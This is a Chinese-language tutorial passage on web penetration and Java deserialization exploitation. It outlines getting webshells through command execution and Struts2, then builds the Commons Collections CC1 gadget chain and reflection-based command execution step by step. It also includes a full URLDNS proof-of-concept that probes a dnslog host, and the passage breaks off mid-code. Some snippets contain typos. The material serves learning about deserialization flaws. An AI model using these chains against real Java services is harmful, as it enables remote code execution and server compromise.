RCE-反序列化
渗透测试-php命令执行-RCE+Struts2拿webshell
原地址: 第六十二课-拿webshell篇-命令执行漏洞拿webshell
Cracer网络渗透全部教程
普通权限 命令执行 拿 webshell
CMD echo 写入一句话 php文件
同级目录写入文件
菜刀连接
Struts2 拿 webshell
基于JAVA
方式与接口介绍
TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,
被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer){
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
这里它的构造方法为protected类型,
创建对象需要通过TransformedMap.decorate()来获得一个TransformedMap实例
示例::::::::::::::::::::::::::::::::::::::::::::::
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
::::::::::::::::::::::::::::::::::::::::::::::::
通过上面这串代码 对innerMap进行修饰 传出的outerMap就是修饰后端Map同时 可以通过TransformedMap.decorate() 方法 来获得一个TransformedMap的实例
keyTransformer是 处理新元素Key的回调
valueTransformer是处理新元素value的回调
这里的回调 并不是传统意义上的回调函数 而是一个实现了Transformer接口的类
在TransformedMap类中有三个方法,它会执行传入的参数的transform()方法
Transformer
是一个接口,它只有一个待实现的方法
public interface Transformer {
public Object transform(Object input);
}
TransformedMap 在转换 Map 的新元素时,就会调⽤ transform ⽅法,这个过程就类似在调⽤⼀个 回调函数 ,这个回调的参数是原始对象。
ConstantTransformer
函数是实现transformer接口的一个类,
在该函数里面有一个构造函数,会传入我们的Object,在transform方法中又会将该Object返回
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
所以 他的作用就是 包装任意一个对象 在执行回调的时候 返回这个对象
InvokerTransformer
一些继承
实现了Transformer接口的一个类 可以用来执行任意方法 也是反序列化的关键
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
在实例化这个InvokerTransformer的时候
需要三个参数 该类的构造方法中传入三个变量,分别是方法名,参数的类型,和参数
第一个是待执行的方法名
第二个是这个函数的参数列表的参数类型
第三个是传给这个函数的参数列表
在这个类中实现的transform方法如下
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
其中
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
利用反射的知识, 对于反射的实现 getClass() getMethod() invoke()
执行了input 对象的iMethodName方法,但是这里有一个问题,
就是transform方法中的input对象我们并不能控制,这里就要用到我们的下一个知识点
ChainedTransformer
也是实现了Transformer接口的一个类
其作用是 将内部的多个Transformer串在一起 前一个回调返回的结果 作为后一个回调的参数传入
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
利用一个循环,把一串 transform 串起来
该方法首先有一个构造函数,
将传入的Transformer类型的数组赋值给iTransformers,这里iTransformers是一个数组
而在该函数的transform方法中
它会将前一个transform返回的结果作为后一个对象的传参,假设我们传入的Transformer[]数组中有两个数据
new ConstantTransformer(Runtime.getRuntime())
new InvokerTransformer("exec", new Class[]{
String.class},new Object[{
"calc"})
就可以执行系统命令了,当然还有个前提:就是触发TransformedMap中的那三个方法,这也就是关键的地方了,这三个方法的类型都是protected,前两个由下面这两个public方法调用
public object put(object key, object value) {
key = this.transformKey(key);
value = this,transformValue(value);
return this.getMap().put(key, value);
}
public void putAll(Map mapToCopy)
{
mapToCopy = this.transformMap(mapToCopy);
this.getMap().putAl(mapToCopy);
而checkSetValue则可以从注释中看到,当调用该类的setvalue方法时,
会自动调用checkSetValue方法,而该类的setValue方法则继承于它的父类AbstractInputCheckedMapDecorator
Override to transform the value when using <code>setValue</code>
去它的父类看一下
AbstractInputCheckedMapDecorator
public object setValue(object value) {
value = this.parent.checkSetValue(value);
return super.entry.setValue(value);
}
这里的this.parent传入的就是TransformedMap,AbstractInputCheckedMapDecorator 的根父类
实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,
只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。(这里涉及一些多态的知识)
满足这个条件的 AnnotationInvocationHandler 类,该类属于 JDK1.7 自带
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
class var7 = (class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue( );
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setvalue((new AmotationtypelismatchExceptionProxy( var8,getclass() + "["+ var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
AnnotationInvocationHandler类的readObject 方法中看到 setValue 方法的调用
这里先看看它的构造函数
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2){
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type,");
}
}
这里先直接给出两个条件:
sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是
Annotation的⼦类,且其中必须含有⾄少⼀个⽅法,假设⽅法名是X
被 TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素
所以,在Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,我需要给Map中放⼊⼀个Key是value的元素:
innerMap.put("value", "xxxx");
分析一下为什么需要有一个方法名和我们key一样
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1; //this.type是我们传入的Annotation类型Class
this.memberValues = var2; //memberValues为我们传入的map
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type); //跟进getInstance,这里先看下面的图片以及文字
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes(); //这个方法返回var2.memberTypes,我们的memberTypes是一个hashmap,而且key为"value"
Iterator var4 = this.memberValues.entrySet().iterator();//memberValues为我们传入的map
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next(); //遍历map
String var6 = (String)var5.getKey();//获取map的key,这里我们传入一个值为value的key,令var6="value"
Class var7 = (Class)var3.get(var6);//在var3中找key为var6的值,如果在这里没有找到,则返回了null,所以我们需要找一个Annotation类型有方法名为我们map的key
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
var1.getAnnotationType
跟进var1.getAnnotationType方法
这里前面两个直接过了,来到了第三步,new AnnotationType(var0),这里var0为我们传入的Annotation类型Class跟进去
后面返回了Annotation类型的所有Methods。
接着遍历的它的所有方法,这里经过了一个for循环,var6是获得的Methods,
var7接着获取了方法名。
然后将返回的方法名put到了memberTypes中,这里比较关键,后面会用上,
现在大家就记住memberTypes是一个hashmap对象,里面的key是我们传入的Annotation类型Class的方法名字
总结一下这一段就类似于这段代码:
public static void main(String[] args) throws Exception {
Class input=Retention.class;
Method[] method= input.getDeclaredMethods();
System.out.println(method[0].getName( ));
}
}
java.lang.annotation.Retention
在该类中有一个value方法
所以我们map类再传一个
innermap.put("value", "xxx");
其实这里不止这一个类可以使用,如java.lang.annotation.Target 也可
Constructor.newInstance
反射内容扩展
曾见到过这个函数 也就是 和Class.newInstance()一起介绍的
Class.newInstance() 只能够调用无参的构造函数,即默认的构造函数;
但是 Constructor.newInstance() 可以根据传入的参数,调用任意构造构造函数。
Class.newInstance() 要求被调用的构造函数是可见的,也即必须是 public 类型的,
但是 Constructor.newInstance() 在特定的情况下,可以调用私有的构造函数,需要通过 setAccessible(true) 实现。
public T newInstance(Object... initargs)
throws InstantiationException, IllegalAccessException,
IllegalArgumentException, InvocationTargetException
首先 我们需要用到一个新的 反射方法 getConstructor
其与getMethod相类似 其接受的参数还是有 构造函数列表类型
因为 构造函数也支持重载 所以 必须用参数列表类型parameterTypes才能确定一个唯一的构造函数
public Constructor<T> getConstructor(Class<?>... parameterTypes) throws NoSuchMethodException,SecurityException
比如 我们常用的一种执行命令的
凡是 ProcessBuilder 我们可以适用反射来获取其构造函数 然后调用start() 来执行命令 java.lang.ProcessBuilder中 有两个构造函数 但是都是有参数的 非默认的函数
public ProcessBuilder(List<String> command)
public ProcessBuilder(String... command)
JDK安装目录下的jre\lib下的rt.jar存放的是所有的class文件,安装目录下的src.zip存放的是所有的源代码
我们还是可以利用forName来获取类的对象
然后后续再利用getMethod("")和 invoke() 获取构造方法 并调用start执行命令 这里参数可以直接写在Constructor.newInstance 中 作为构造方法的参数
package test;
import java.util.Arrays;
import java.util.List;
public class test {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
}
}
引用类型转换
或者 我们可以这样写
package test;
import java.util.Arrays;
import java.util.List;
public class test {
public static void main(String[] args) throws Exception{
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
}
}
这样用到的就是一个强制类型转换 是在引用过程中发生的引用类型转换
如此写 我们可以省略掉 之前反射中的getMethod.invoke 的步骤
可变参数
我们前面有提到 ProcessBuilder是有两个构造方法的
刚才上面是第一个 下面看一下第二个
public ProcessBuilder(String... command),
这里是 JAVA 中的 可变长参数 ,当你定义函数的时候不确定参数数量的时候,
可以使用 ... 这样的语法来表示“这个函数的参数个数是可变的” 也就是我们常说的可变参数
但是 在使用这种方式表达的时候 Java在编译的时候实际上会将其编译成一个数组
所以这种表达方式 和 String[] 这种表达方式 是等价的 且不能重载
也就是说 当我们传入一个数组的时候 这里的可变参数 实际上也是可以当数组来用的 我们认定其为数组就OK
所以 我们将字符串数组的类 String[].class
传给 getConstructor 获取ProcessBuilder的第二种构造函数
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)
在调用newInstance的时候 因为本身这个函数接受到的就是一个可变参数 是一个数组
我们传给ProcessBuilder的也是一个数组 叠加就会编程二维数组 String[][]
我们将上面的两个调用方法稍加修改
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{
{
"calc.exe"}})).start();
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(getConstructor(String[].class).newInstance(new String[][]{
{
"calc.exe"}})));
执行私有方法
涉及到getDeclared系列的反射 与我们之前的getMethod的区别在于
getMethod系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
getDeclaredMethod系列方法获取的是当前类中“声明”的方法,
是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了
现在我们可以这样 下面用到了一个getDeclaredConstructor() 可以获取一个私有的
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
这里用到了一个setAccessible 是必须的 我们获取到一个私有方法的时候
必须使用setAccessible修改其作用域 来打破私有方法的访问限制
writeObject() 和 readObject() 是用于序列化和反序列化对象的方法
writeObject() 方法用于将一个对象序列化成字节流,可以将该字节流写入文件或通过网络传输。而 readObject() 方法则用于将一个字节流反序列化成对象。
private void writeObject(ObjectOutputStream out) throws IOException {
// 序列化对象时会调用该方法
out.defaultWriteObject(); // 先将非transient属性写入
out.writeObject(password); // 手动将transient属性写入
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
// 反序列化对象时会调用该方法
in.defaultReadObject(); // 先读取非transient属性
password = (String) in.readObject(); // 手动读取transient属性
}
Serializable 接口
Serializable 接口是一个标记接口,用于标识一个类可以被序列化。
URLDNS链
Requires Java 1.7+ and Maven 3.x+
mvn clean package -DskipTests
错误信息如下,主要是因为在pom.xml缺少commons-io的依赖:
在pom.xml的dependencies标签里添加依赖项:
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
使⽤Java内置的类构造,对第三⽅库没有依赖
在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞
大致流程为:
HashMap->readObject()
HashMap->hash()
URL->hashCode()
URLStreamHandler->hashCode()
URLStreamHandler->getHostAddress()
InetAddress->getByName()
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java
利用链
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
* URL.hashCode()
先贴poc,大家可以一边调试一边分析
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static Object urldns() throws Exception{
//漏洞出发点 hashmap,实例化出来
HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入自己测试的dnslog
URL url = new URL("http://txbjb7.dnslog.cn"); //反射获取 URL的hashcode方法
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //使用内部方法
f.setAccessible(true);
// hashMap.put时会调用hash(key),这里先把hashCode设置为其他值,避免和后面的DNS请求混淆
f.set(url, 0xAAA);
hashMap.put(url, "Yasax1");
// hashCode 这个属性放进去后设回 -1, 这样在反序列化时就会重新计算 hashCode
f.set(url, -1);
// 序列化成对象,输出出来
return hashMap;
}
public static void main(String[] args) throws Exception {
payload2File(urldns(),"obj");
payloadTest("obj");
}
public static void payload2File(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload,并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
https://xz.aliyun.com/t/9873
CB链
CommonsCollections反序列化
版本:jdk8u65版本
(从jdk8u71开始,就有漏洞修复了)
CC1 CommonsCollections 1
Commons Collections的利用链也被称为cc链,
在学习反序列化漏洞必不可少的一个部分。
https://commons.apache.org/proper/commons-collections/index.html
Apache Commons Collections是Java中应用广泛的一个库,
一个扩展了Java标准库里的Collection结构的第三方基础库,
它提供了很多强有力的数据结构类型并实现了各种集合工具类,被广泛运用于各种Java应用的开发,
目前常说的存在缺陷的版本是Apache Commons Collections 3.2.1以下(4.0版本也是存在的)
包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。
其主要特点如下
Bag - Bag接口简化了每个对象具有多个副本的集合。
BidiMap - BidiMap接口提供双向映射,可用于使用键或键使用的值来查找值。
MapIterator - MapIterator接口为映射提供了简单和易于迭代方法。
转换装饰器 - 转换装饰器(Transforming Decorators)可以在集合添加到集合时改变集合的每个对象。
复合集合 - 复合集合用于要求统一处理多个集合的情况。
有序映射 - 有序映射保留元素添加的顺序。
有序集 - 有序集保留元素添加的顺序。
参考映射 - 参考映射允许在密切控制下对键/值进行垃圾收集。
比较器实现 - 许多比较器实现都可用。
迭代器实现 - 许多迭代器实现都可用。
适配器类 - 适配器类可用于将数组和枚举转换为集合。
实用程序 - 实用程序可用于测试测试或创建集合的典型集合理论属性,如联合,交集。 支持关闭。
转换装饰器 可以在集合添加到集合时改变集合的每个对象。(CVE-2015-4852)
搭建一下测试环境 JDK1.7 和 3.1版本的CC包
Oracle OpenJDK version 17.0.1
commons-collections-3.1.jar
CC1指的是lazymap那条链子,但是网上也有很多关于transformedmap的分析,
CC1的测试环境需要在Java 8u71以前。
在此改动后,AnnotationInvocationHandler#readObject不再直接使⽤反序列化得到的Map对象,
⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作,
测试环境
JDK 1.7
Commons Collections 3.1
transformedmap链
import java.io.FileInputStream;
import